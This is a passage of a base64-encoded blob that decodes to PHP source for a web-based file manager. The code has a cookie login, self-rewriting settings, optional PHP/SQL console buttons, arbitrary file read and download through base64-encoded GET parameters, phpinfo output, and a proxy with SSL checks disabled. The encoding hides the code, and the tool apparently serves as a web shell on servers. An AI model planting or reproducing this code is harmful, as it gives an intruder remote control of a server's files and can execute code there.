VybiAkX1NFUlZFUlsnSFRUUF9TQ0hFTUUnXS4nOlwvXC8nO1xyXG5cdGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gJ29uJykgcmV0dXJuICdodHRwczpcL1wvJztcclxuXHRpZiAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pICYmICRfU0VSVkVSWydTRVJWRVJfUE9SVCddID09IDQ0MykgcmV0dXJuICdodHRwczpcL1wvJztcclxuXHRpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PSAnaHR0cHMnKSByZXR1cm4gJ2h0dHBzOlwvXC8nO1xyXG5cdHJldHVybiAnaHR0cDpcL1wvJztcclxufVxyXG5cclxuZnVuY3Rpb24gZm1fc2l0ZV91cmwoKSB7XHJcblx0cmV0dXJuIGZtX3Byb3RvY29sKCkuJF9TRVJWRVJbJ0hUVFBfSE9TVCddO1xyXG59XHJcblxyXG5mdW5jdGlvbiBmbV91cmwoJGZ1bGw9ZmFsc2UpIHtcclxuXHQkaG9zdD0kZnVsbD9mbV9zaXRlX3VybCgpOicuJztcclxuXHRyZXR1cm4gJGhvc3QuJ1wvJy5iYXNlbmFtZShfX0ZJTEVfXyk7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX2hvbWUoJGZ1bGw9ZmFsc2Upe1xyXG5cdHJldHVybiAnJm5ic3A7PGEgaHJlZj1cIicuZm1fdXJsKCRmdWxsKS4nXCIgdGl0bGU9XCInLl9fKCdIb21lJykuJ1wiPjxzcGFuIGNsYXNzPVwiaG9tZVwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxcL3NwYW4+PFwvYT4nO1xyXG59XHJcblxyXG5mdW5jdGlvbiBmbV9ydW5faW5wdXQoJGxuZykge1xyXG5cdGdsb2JhbCAkZm1fY29uZmlnO1xyXG5cdCRyZXR1cm4gPSAhZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlXycuJGxuZy4nX2NvbnNvbGUnXSkgPyBcclxuXHQnXHJcblx0XHRcdFx0PGZvcm0gIG1ldGhvZD1cInBvc3RcIiBhY3Rpb249XCInLmZtX3VybCgpLidcIiBzdHlsZT1cImRpc3BsYXk6aW5saW5lXCI+XHJcblx0XHRcdFx0PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiJy4kbG5nLidydW5cIiB2YWx1ZT1cIicuc3RydG91cHBlcigkbG5nKS4nICcuX18oJ0NvbnNvbGUnKS4nXCI+XHJcblx0XHRcdFx0PFwvZm9ybT5cclxuJyA6ICcnO1xyXG5cdHJldHVybiAkcmV0dXJuO1xyXG59XHJcblxyXG5mdW5jdGlvbiBmbV91cmxfcHJveHkoJG1hdGNoZXMpIHtcclxuXHQkbGluayA9IHN0cl9yZXBsYWNlKCcmYW1wOycsJyYnLCRtYXRjaGVzWzJdKTtcclxuXHQkdXJsID0gaXNzZXQoJF9HRVRbJ3VybCddKT8kX0dFVFsndXJsJ106Jyc7XHJcblx0JHBhcnNlX3VybCA9IHBhcnNlX3VybCgkdXJsKTtcclxuXHQkaG9zdCA9ICRwYXJzZV91cmxbJ3NjaGVtZSddLic6XC9cLycuJHBhcnNlX3VybFsnaG9zdCddLidcLyc7XHJcblx0aWYgKHN1YnN0cigkbGluaywwLDIpPT0nXC9cLycpIHtcclxuXHRcdCRsaW5rID0gc3Vic3RyX3JlcGxhY2UoJGxpbmssZm1fcHJvdG9jb2woKSwwLDIpO1xyXG5cdH0gZWxzZWlmIChzdWJzdHIoJGxpbmssMCwxKT09J1wvJykge1xyXG5cdFx0JGxpbmsgPSBzdWJzdHJfcmVwbGFjZSgkbGluaywkaG9zdCwwLDEpO1x0XHJcblx0fSBlbHNlaWYgKHN1YnN0cigkbGluaywwLDIpPT0nLlwvJykge1xyXG5cdFx0JGxpbmsgPSBzdWJzdHJfcmVwbGFjZSgkbGluaywkaG9zdCwwLDIpO1x0XHJcblx0fSBlbHNlaWYgKHN1YnN0cigkbGluaywwLDQpPT0naHR0cCcpIHtcclxuXHRcdFwvXC9hbGxlcyBtYWNoZW4gd3VuZGVyc2Nob25cclxuXHR9IGVsc2Uge1xyXG5cdFx0JGxpbmsgPSAkaG9zdC4kbGluaztcclxuXHR9IFxyXG5cdGlmICgkbWF0Y2hlc1sxXT09J2hyZWYnICYmICFzdHJyaXBvcygkbGluaywgJ2NzcycpKSB7XHJcblx0XHQkYmFzZSA9IGZtX3NpdGVfdXJsKCkuJ1wvJy5iYXNlbmFtZShfX0ZJTEVfXyk7XHJcblx0XHQkYmFzZXEgPSAkYmFzZS4nP3Byb3h5PXRydWUmdXJsPSc7XHJcblx0XHQkbGluayA9ICRiYXNlcS51cmxlbmNvZGUoJGxpbmspO1xyXG5cdH0gZWxzZWlmIChzdHJyaXBvcygkbGluaywgJ2NzcycpKXtcclxuXHRcdFwvXC9cdTA0M2FcdTA0MzBcdTA0M2EtXHUwNDQyXHUwNDNlIFx1MDQ0Mlx1MDQzZVx1MDQzNlx1MDQzNSBcdTA0M2ZcdTA0M2VcdTA0MzRcdTA0M2NcdTA0MzVcdTA0M2RcdTA0NGZcdTA0NDJcdTA0NGMgXHUwNDNkXHUwNDMwXHUwNDM0XHUwNDNlXHJcblx0fVxyXG5cdHJldHVybiAkbWF0Y2hlc1sxXS4nPVwiJy4kbGluay4nXCInO1xyXG59XHJcbiBcclxuZnVuY3Rpb24gZm1fdHBsX2Zvcm0oJGxuZ190cGwpIHtcclxuXHRnbG9iYWwgJHskbG5nX3RwbC4nX3RlbXBsYXRlcyd9O1xyXG5cdCR0cGxfYXJyID0ganNvbl9kZWNvZGUoJHskbG5nX3RwbC4nX3RlbXBsYXRlcyd9LHRydWUpO1xyXG5cdCRzdHIgPSAnJztcclxuXHRmb3JlYWNoICgkdHBsX2FyciBhcyAka3RwbD0+JHZ0cGwpIHtcclxuXHRcdCRzdHIgLj0gJzx0cj48dGQgY2xhc3M9XCJyb3cxXCI+PGlucHV0IG5hbWU9XCInLiRsbmdfdHBsLidfbmFtZVtdXCIgdmFsdWU9XCInLiRrdHBsLidcIj48XC90ZD48dGQgY2xhc3M9XCJyb3cyIHdob2xlXCI+PHRleHRhcmVhIG5hbWU9XCInLiRsbmdfdHBsLidfdmFsdWVbXVwiICBjb2xzPVwiNTVcIiByb3dzPVwiNVwiIGNsYXNzPVwidGV4dGFyZWFfaW5wdXRcIj4nLiR2dHBsLic8XC90ZXh0YXJlYT4gPGlucHV0IG5hbWU9XCJkZWxfJy5yYW5kKCkuJ1wiIHR5cGU9XCJidXR0b25cIiBvbkNsaWNrPVwidGhpcy5wYXJlbnROb2RlLnBhcmVudE5vZGUucmVtb3ZlKCk7XCIgdmFsdWU9XCInLl9fKCdEZWxldGUnKS4nXCJcLz48XC90ZD48XC90cj4nO1xyXG5cdH1cclxucmV0dXJuICdcclxuPHRhYmxlPlxyXG48dHI+PHRoIGNvbHNwYW49XCIyXCI+Jy5zdHJ0b3VwcGVyKCRsbmdfdHBsKS4nICcuX18oJ3RlbXBsYXRlcycpLicgJy5mbV9ydW5faW5wdXQoJGxuZ190cGwpLic8XC90aD48XC90cj5cclxuPGZvcm0gbWV0aG9kPVwicG9zdFwiIGFjdGlvbj1cIlwiPlxyXG48aW5wdXQgdHlwZT1cImhpZGRlblwiIHZhbHVlPVwiJy4kbG5nX3RwbC4nXCIgbmFtZT1cInRwbF9lZGl0ZWRcIj5cclxuPHRyPjx0ZCBjbGFzcz1cInJvdzFcIj4nLl9fKCdOYW1lJykuJzxcL3RkPjx0ZCBjbGFzcz1cInJvdzIgd2hvbGVcIj4nLl9fKCdWYWx1ZScpLic8XC90ZD48XC90cj5cclxuJy4kc3RyLidcclxuPHRyPjx0ZCBjb2xzcGFuPVwiMlwiIGNsYXNzPVwicm93M1wiPjxpbnB1dCBuYW1lPVwicmVzXCIgdHlwZT1cImJ1dHRvblwiIG9uQ2xpY2s9XCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gXFwnJy5mbV91cmwoKS4nP2ZtX3NldHRpbmdzPXRydWVcXCc7XCIgdmFsdWU9XCInLl9fKCdSZXNldCcpLidcIlwvPiA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiJy5fXygnU2F2ZScpLidcIiA+PFwvdGQ+PFwvdHI+XHJcbjxcL2Zvcm0+XHJcbjxmb3JtIG1ldGhvZD1cInBvc3RcIiBhY3Rpb249XCJcIj5cclxuPGlucHV0IHR5cGU9XCJoaWRkZW5cIiB2YWx1ZT1cIicuJGxuZ190cGwuJ1wiIG5hbWU9XCJ0cGxfZWRpdGVkXCI+XHJcbjx0cj48dGQgY2xhc3M9XCJyb3cxXCI+PGlucHV0IG5hbWU9XCInLiRsbmdfdHBsLidfbmV3X25hbWVcIiB2YWx1ZT1cIlwiIHBsYWNlaG9sZGVyPVwiJy5fXygnTmV3JykuJyAnLl9fKCdOYW1lJykuJ1wiPjxcL3RkPjx0ZCBjbGFzcz1cInJvdzIgd2hvbGVcIj48dGV4dGFyZWEgbmFtZT1cIicuJGxuZ190cGwuJ19uZXdfdmFsdWVcIiAgY29scz1cIjU1XCIgcm93cz1cIjVcIiBjbGFzcz1cInRleHRhcmVhX2lucHV0XCIgcGxhY2Vob2xkZXI9XCInLl9fKCdOZXcnKS4nICcuX18oJ1ZhbHVlJykuJ1wiPjxcL3RleHRhcmVhPjxcL3RkPjxcL3RyPlxyXG48dHI+PHRkIGNvbHNwYW49XCIyXCIgY2xhc3M9XCJyb3czXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIicuX18oJ0FkZCcpLidcIiA+PFwvdGQ+PFwvdHI+XHJcbjxcL2Zvcm0+XHJcbjxcL3RhYmxlPlxyXG4nO1xyXG59XHJcblxyXG5mdW5jdGlvbiBmaW5kX3RleHRfaW5fZmlsZXMoJGRpciwgJG1hc2ssICR0ZXh0KSB7XHJcbiAgICAkcmVzdWx0cyA9IGFycmF5KCk7XHJcbiAgICBpZiAoJGhhbmRsZSA9IG9wZW5kaXIoJGRpcikpIHtcclxuICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZW50cnkgPSByZWFkZGlyKCRoYW5kbGUpKSkge1xyXG4gICAgICAgICAgICBpZiAoJGVudHJ5ICE9IFwiLlwiICYmICRlbnRyeSAhPSBcIi4uXCIpIHtcclxuICAgICAgICAgICAgICAgICRwYXRoID0gJGRpciAuIFwiXC9cIiAuICRlbnRyeTtcclxuICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XHJcbiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHMgPSBhcnJheV9tZXJnZSgkcmVzdWx0cywgZmluZF90ZXh0X2luX2ZpbGVzKCRwYXRoLCAkbWFzaywgJHRleHQpKTtcclxuICAgICAgICAgICAgICAgIH0gZWxzZSB7XHJcbiAgICAgICAgICAgICAgICAgICAgaWYgKGZubWF0Y2goJG1hc2ssICRlbnRyeSkpIHtcclxuICAgICAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnRzID0gZmlsZV9nZXRfY29udGVudHMoJHBhdGgpO1xyXG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRjb250ZW50cywgJHRleHQpICE9PSBmYWxzZSkge1xyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHNbXSA9IHN0cl9yZXBsYWNlKCdcL1wvJywgJ1wvJywgJHBhdGgpO1xyXG4gICAgICAgICAgICAgICAgICAgICAgICB9XHJcbiAgICAgICAgICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICB9XHJcbiAgICAgICAgfVxyXG4gICAgICAgIGNsb3NlZGlyKCRoYW5kbGUpO1xyXG4gICAgfVxyXG4gICAgcmV0dXJuICRyZXN1bHRzO1xyXG59XHJcblxyXG5cclxuXC8qIEVuZCBGdW5jdGlvbnMgKlwvXHJcblxyXG5cL1wvIGF1dGhvcml6YXRpb25cclxuaWYgKCRhdXRoWydhdXRob3JpemUnXSkge1xyXG5cdGlmIChpc3NldCgkX1BPU1RbJ2xvZ2luJ10pICYmIGlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSkpe1xyXG5cdFx0aWYgKCgkX1BPU1RbJ2xvZ2luJ109PSRhdXRoWydsb2dpbiddKSAmJiAoJF9QT1NUWydwYXNzd29yZCddPT0kYXV0aFsncGFzc3dvcmQnXSkpIHtcclxuXHRcdFx0c2V0Y29va2llKCRhdXRoWydjb29raWVfbmFtZSddLCAkYXV0aFsnbG9naW4nXS4nfCcubWQ1KCRhdXRoWydwYXNzd29yZCddKSwgdGltZSgpICsgKDg2NDAwICogJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSk7XHJcblx0XHRcdCRfQ09PS0lFWyRhdXRoWydjb29raWVfbmFtZSddXT0kYXV0aFsnbG9naW4nXS4nfCcubWQ1KCRhdXRoWydwYXNzd29yZCddKTtcclxuXHRcdH1cclxuXHR9XHJcblx0aWYgKCFpc3NldCgkX0NPT0tJRVskYXV0aFsnY29va2llX25hbWUnXV0pIE9SICgkX0NPT0tJRVskYXV0aFsnY29va2llX25hbWUnXV0hPSRhdXRoWydsb2dpbiddLid8Jy5tZDUoJGF1dGhbJ3Bhc3N3b3JkJ10pKSkge1xyXG5cdFx0ZWNobyAnXHJcbjwhZG9jdHlwZSBodG1sPlxyXG48aHRtbD5cclxuPGhlYWQ+XHJcbjxtZXRhIGNoYXJzZXQ9XCJ1dGYtOFwiIFwvPlxyXG48bWV0YSBuYW1lPVwidmlld3BvcnRcIiBjb250ZW50PVwid2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTFcIiBcLz5cclxuPHRpdGxlPicuX18oJ0ZpbGUgbWFuYWdlcicpLic8XC90aXRsZT5cclxuPFwvaGVhZD5cclxuPGJvZHk+XHJcbjxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cclxuJy5fXygnTG9naW4nKS4nIDxpbnB1dCBuYW1lPVwibG9naW5cIiB0eXBlPVwidGV4dFwiPiZuYnNwOyZuYnNwOyZuYnNwO1xyXG4nLl9fKCdQYXNzd29yZCcpLicgPGlucHV0IG5hbWU9XCJwYXNzd29yZFwiIHR5cGU9XCJwYXNzd29yZFwiPiZuYnNwOyZuYnNwOyZuYnNwO1xyXG48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiJy5fXygnRW50ZXInKS4nXCIgY2xhc3M9XCJmbV9pbnB1dFwiPlxyXG48XC9mb3JtPlxyXG4nLmZtX2xhbmdfZm9ybSgkbGFuZ3VhZ2UpLidcclxuPFwvYm9keT5cclxuPFwvaHRtbD5cclxuJzsgIFxyXG5kaWUoKTtcclxuXHR9XHJcblx0aWYgKGlzc2V0KCRfUE9TVFsncXVpdCddKSkge1xyXG5cdFx0dW5zZXQoJF9DT09LSUVbJGF1dGhbJ2Nvb2tpZV9uYW1lJ11dKTtcclxuXHRcdHNldGNvb2tpZSgkYXV0aFsnY29va2llX25hbWUnXSwgJycsIHRpbWUoKSAtICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpO1xyXG5cdFx0aGVhZGVyKCdMb2NhdGlvbjogJy5mbV9zaXRlX3VybCgpLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTtcclxuXHR9XHJcbn1cclxuXHJcblwvXC8gQ2hhbmdlIGNvbmZpZ1xyXG5pZiAoaXNzZXQoJF9HRVRbJ2ZtX3NldHRpbmdzJ10pKSB7XHJcblx0aWYgKGlzc2V0KCRfR0VUWydmbV9jb25maWdfZGVsZXRlJ10pKSB7IFxyXG5cdFx0dW5zZXQoJF9DT09LSUVbJ2ZtX2NvbmZpZyddKTtcclxuXHRcdHNldGNvb2tpZSgnZm1fY29uZmlnJywgJycsIHRpbWUoKSAtICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpO1xyXG5cdFx0aGVhZGVyKCdMb2NhdGlvbjogJy5mbV91cmwoKS4nP2ZtX3NldHRpbmdzPXRydWUnKTtcclxuXHRcdGV4aXQoMCk7XHJcblx0fVx0ZWxzZWlmIChpc3NldCgkX1BPU1RbJ2ZtX2NvbmZpZyddKSkgeyBcclxuXHRcdCRmbV9jb25maWcgPSAkX1BPU1RbJ2ZtX2NvbmZpZyddO1xyXG5cdFx0c2V0Y29va2llKCdmbV9jb25maWcnLCBzZXJpYWxpemUoJGZtX2NvbmZpZyksIHRpbWUoKSArICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpO1xyXG5cdFx0JF9DT09LSUVbJ2ZtX2NvbmZpZyddID0gc2VyaWFsaXplKCRmbV9jb25maWcpO1xyXG5cdFx0JG1zZyA9IF9fKCdTZXR0aW5ncycpLicgJy5fXygnZG9uZScpO1xyXG5cdH1cdGVsc2VpZiAoaXNzZXQoJF9QT1NUWydmbV9sb2dpbiddKSkgeyBcclxuXHRcdGlmIChlbXB0eSgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ2F1dGhvcml6ZSddKSkgJF9QT1NUWydmbV9sb2dpbiddID0gYXJyYXkoJ2F1dGhvcml6ZScgPT4gJzAnKSArICRfUE9TVFsnZm1fbG9naW4nXTtcclxuXHRcdCRmbV9sb2dpbiA9IGpzb25fZW5jb2RlKCRfUE9TVFsnZm1fbG9naW4nXSk7XHJcblx0XHQkZmdjID0gZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pO1xyXG5cdFx0JHNlYXJjaCA9IHByZWdfbWF0Y2goJyNhdXRob3JpemF0aW9uW1xcc10/XFw9W1xcc10/XFwnXFx7XFxcIiguKj8pXFxcIlxcfVxcJzsjJywgJGZnYywgJG1hdGNoZXMpO1xyXG5cdFx0aWYgKCFlbXB0eSgkbWF0Y2hlc1sxXSkpIHtcclxuXHRcdFx0JGZpbGVtdGltZSA9IGZpbGVtdGltZShfX0ZJTEVfXyk7XHJcblx0XHRcdCRyZXBsYWNlID0gc3RyX3JlcGxhY2UoJ3tcIicuJG1hdGNoZXNbMV0uJ1wifScsJGZtX2xvZ2luLCRmZ2MpO1xyXG5cdFx0XHRpZiAoZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sICRyZXBsYWNlKSkge1xyXG5cdFx0XHRcdCRtc2cgLj0gX18oJ0ZpbGUgdXBkYXRlZCcpO1xyXG5cdFx0XHRcdGlmICgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ2xvZ2luJ10gIT0gJGF1dGhbJ2xvZ2luJ10pICRtc2cgLj0gJyAnLl9fKCdMb2dpbicpLic6ICcuJF9QT1NUWydmbV9sb2dpbiddWydsb2dpbiddO1xyXG5cdFx0XHRcdGlmICgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ3Bhc3N3b3JkJ10gIT0gJGF1dGhbJ3Bhc3N3b3JkJ10pICRtc2cgLj0gJyAnLl9fKCdQYXNzd29yZCcpLic6ICcuJF9QT1NUWydmbV9sb2dpbiddWydwYXNzd29yZCddO1xyXG5cdFx0XHRcdCRhdXRoID0gJF9QT1NUWydmbV9sb2dpbiddO1xyXG5cdFx0XHR9XHJcblx0XHRcdGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTtcclxuXHRcdFx0aWYgKCFlbXB0eSgkZm1fY29uZmlnWydmbV9yZXN0b3JlX3RpbWUnXSkpIHRvdWNoKF9fRklMRV9fLCRmaWxlbXRpbWUpO1xyXG5cdFx0fVxyXG5cdH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ3RwbF9lZGl0ZWQnXSkpIHsgXHJcblx0XHQkbG5nX3RwbCA9ICRfUE9TVFsndHBsX2VkaXRlZCddO1xyXG5cdFx0aWYgKCFlbXB0eSgkX1BPU1RbJGxuZ190cGwuJ19uYW1lJ10pKSB7XHJcblx0XHRcdCRmbV9waHAgPSBqc29uX2VuY29kZShhcnJheV9jb21iaW5lKCRfUE9TVFskbG5nX3RwbC4nX25hbWUnXSwkX1BPU1RbJGxuZ190cGwuJ192YWx1ZSddKSxKU09OX0hFWF9BUE9TKTtcclxuXHRcdH0gZWxzZWlmICghZW1wdHkoJF9QT1NUWyRsbmdfdHBsLidfbmV3X25hbWUnXSkpIHtcclxuXHRcdFx0JGZtX3BocCA9IGpzb25fZW5jb2RlKGpzb25fZGVjb2RlKCR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfSx0cnVlKSthcnJheSgkX1BPU1RbJGxuZ190cGwuJ19uZXdfbmFtZSddPT4kX1BPU1RbJGxuZ190cGwuJ19uZXdfdmFsdWUnXSksSlNPTl9IRVhfQVBPUyk7XHJcblx0XHR9XHJcblx0XHRpZiAoIWVtcHR5KCRmbV9waHApKSB7XHJcblx0XHRcdCRmZ2MgPSBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXyk7XHJcblx0XHRcdCRzZWFyY2ggPSBwcmVnX21hdGNoKCcjJy4kbG5nX3RwbC4nX3RlbXBsYXRlc1tcXHNdP1xcPVtcXHNdP1xcJ1xce1xcXCIoLio/KVxcXCJcXH1cXCc7IycsICRmZ2MsICRtYXRjaGVzKTtcclxuXHRcdFx0aWYgKCFlbXB0eSgkbWF0Y2hlc1sxXSkpIHtcclxuXHRcdFx0XHQkZmlsZW10aW1lID0gZmlsZW10aW1lKF9fRklMRV9fKTtcclxuXHRcdFx0XHQkcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCd7XCInLiRtYXRjaGVzWzFdLidcIn0nLCRmbV9waHAsJGZnYyk7XHJcblx0XHRcdFx0aWYgKGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCAkcmVwbGFjZSkpIHtcclxuXHRcdFx0XHRcdCR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfSA9ICRmbV9waHA7XHJcblx0XHRcdFx0XHQkbXNnIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTtcclxuXHRcdFx0XHR9IGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTtcclxuXHRcdFx0XHRpZiAoIWVtcHR5KCRmbV9jb25maWdbJ2ZtX3Jlc3RvcmVfdGltZSddKSkgdG91Y2goX19GSUxFX18sJGZpbGVtdGltZSk7XHJcblx0XHRcdH1cdFxyXG5cdFx0fSBlbHNlICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7XHJcblx0fVxyXG59XHJcblxyXG5cL1wvIEp1c3Qgc2hvdyBpbWFnZVxyXG5pZiAoaXNzZXQoJF9HRVRbJ2ltZyddKSkge1xyXG5cdCRmaWxlPWJhc2U2NF9kZWNvZGUoJF9HRVRbJ2ltZyddKTtcclxuXHRpZiAoJGluZm89Z2V0aW1hZ2VzaXplKCRmaWxlKSl7XHJcblx0XHRzd2l0Y2ggICgkaW5mb1syXSl7XHRcL1wvMT1HSUYsIDI9SlBHLCAzPVBORywgND1TV0YsIDU9UFNELCA2PUJNUFxyXG5cdFx0XHRjYXNlIDE6ICRleHQ9J2dpZic7IGJyZWFrO1xyXG5cdFx0XHRjYXNlIDI6ICRleHQ9J2pwZWcnOyBicmVhaztcclxuXHRcdFx0Y2FzZSAzOiAkZXh0PSdwbmcnOyBicmVhaztcclxuXHRcdFx0Y2FzZSA2OiAkZXh0PSdibXAnOyBicmVhaztcclxuXHRcdFx0ZGVmYXVsdDogZGllKCk7XHJcblx0XHR9XHJcblx0XHRoZWFkZXIoXCJDb250ZW50LXR5cGU6IGltYWdlXC8kZXh0XCIpO1xyXG5cdFx0ZWNobyBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7XHJcblx0XHRkaWUoKTtcclxuXHR9XHJcbn1cclxuXHJcblwvXC8gSnVzdCBkb3dubG9hZCBmaWxlXHJcbmlmIChpc3NldCgkX0dFVFsnZG93bmxvYWQnXSkpIHtcclxuXHQkZmlsZT1iYXNlNjRfZGVjb2RlKCRfR0VUWydkb3dubG9hZCddKTtcclxuXHRmbV9kb3dubG9hZCgkZmlsZSk7XHRcclxufVxyXG5cclxuXC9cLyBKdXN0IHNob3cgaW5mb1xyXG5pZiAoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHtcclxuXHRwaHBpbmZvKCk7IFxyXG5cdGRpZSgpO1xyXG59XHJcblxyXG5cL1wvIE1pbmkgcHJveHksIG1hbnkgYnVncyFcclxuaWYgKGlzc2V0KCRfR0VUWydwcm94eSddKSAmJiAoIWVtcHR5KCRmbV9jb25maWdbJ2VuYWJsZV9wcm94eSddKSkpIHtcclxuXHQkdXJsID0gaXNzZXQoJF9HRVRbJ3VybCddKT91cmxkZWNvZGUoJF9HRVRbJ3VybCddKTonJztcclxuXHQkcHJveHlfZm9ybSA9ICdcclxuPGRpdiBzdHlsZT1cInBvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6MTAwNTAwO2JhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCh0byBib3R0b20sICNlNGY1ZmMgMCUsI2JmZThmOSA1MCUsIzlmZDhlZiA1MSUsIzJhYjBlZCAxMDAlKTtcIj5cclxuXHQ8Zm9ybSBhY3Rpb249XCJcIiBtZXRob2Q9XCJHRVRcIj5cclxuXHQ8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwcm94eVwiIHZhbHVlPVwidHJ1ZVwiPlxyXG5cdCcuZm1faG9tZSgpLicgPGEgaHJlZj1cIicuJHVybC4nXCIgdGFyZ2V0PVwiX2JsYW5rXCI+VXJsPFwvYT46IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJ1cmxcIiB2YWx1ZT1cIicuJHVybC4nXCIgc2l6ZT1cIjU1XCI+XHJcblx0PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIicuX18oJ1Nob3cnKS4nXCIgY2xhc3M9XCJmbV9pbnB1dFwiPlxyXG5cdDxcL2Zvcm0+XHJcbjxcL2Rpdj5cclxuJztcclxuXHRpZiAoJHVybCkge1xyXG5cdFx0JGNoID0gY3VybF9pbml0KCR1cmwpO1xyXG5cdFx0Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ0RlbjF4eHggdGVzdCBwcm94eScpO1xyXG5cdFx0Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTtcclxuXHRcdGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwwKTtcclxuXHRcdGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwwKTtcclxuXHRcdGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApO1xyXG5cdFx0Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFRkVSRVIsICR1cmwpO1xyXG5cdFx0Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUpO1xyXG5cdFx0JHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpO1xyXG5cdFx0Y3VybF9jbG9zZSgkY2gpO1xyXG5cdFx0XC9cLyRyZXN1bHQgPSBwcmVnX3JlcGxhY2UoJyMoc3JjKT1bXCJcXCddW2h0dHA6XC9cL10/KFteOl0qKVtcIlxcJ10jVWknLCAnXFxcXDE9XCInLiR1cmwuJ1wvXFxcXDJcIicsICRyZXN1bHQpO1xyXG5cdFx0JHJlc3VsdCA9IHByZWdfcmVwbGFjZV9jYWxsYmFjaygnIyhocmVmfHNyYyk9W1wiXFwnXVtodHRwOlwvXC9dPyhbXjpdKilbXCJcXCddI1VpJywgJ2ZtX3VybF9wcm94eScsICRyZXN1bHQpO1xyXG5cdFx0JHJlc3VsdCA9IHByZWdfcmVwbGFjZSgnJSg8Ym9keS4qPz4pJWknLCAnJDEnLic8c3R5bGU+Jy5mbV9ob21lX3N0eWxlKCkuJzxcL3N0eWxlPicuJHByb3h5X2Zvcm0sICRyZXN1bHQpO1xyXG5cdFx0ZWNobyAkcmVzdWx0O1xyXG5cdFx0ZGllKCk7XHJcblx0fSBcclxufVxyXG4/PlxyXG48IWRvY3R5cGUgaHRtbD5cclxuPGh0bWw+XHJcbjxoZWFkPiAgICAgXHJcblx0PG1ldGEgY2hhcnNldD1cInV0Zi04XCIgXC8+XHJcblx0PG1ldGEgbmFtZT1cInZpZXdwb3J0XCIgY29udGVudD1cIndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xXCIgXC8+XHJcbiAgICA8dGl0bGU+PD89X18oJ0ZpbGUgbWFuYWdlcicpPz48XC90aXRsZT5cclxuPHN0eWxlPlxyXG5ib2R5IHtcclxuXHRiYWNrZ3JvdW5kLWNvbG9yOlx0d2hpdGU7XHJcblx0Zm9udC1mYW1pbHk6XHRcdFZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7XHJcblx0Zm9udC1zaXplOlx0XHRcdDhwdDtcclxuXHRtYXJnaW46XHRcdFx0XHQwcHg7XHJcbn1cclxuXHJcbmE6bGluaywgYTphY3RpdmUsIGE6dmlzaXRlZCB7IGNvbG9yOiAjMDA2Njk5OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IH1cclxuYTpob3ZlciB7IGNvbG9yOiAjREQ2O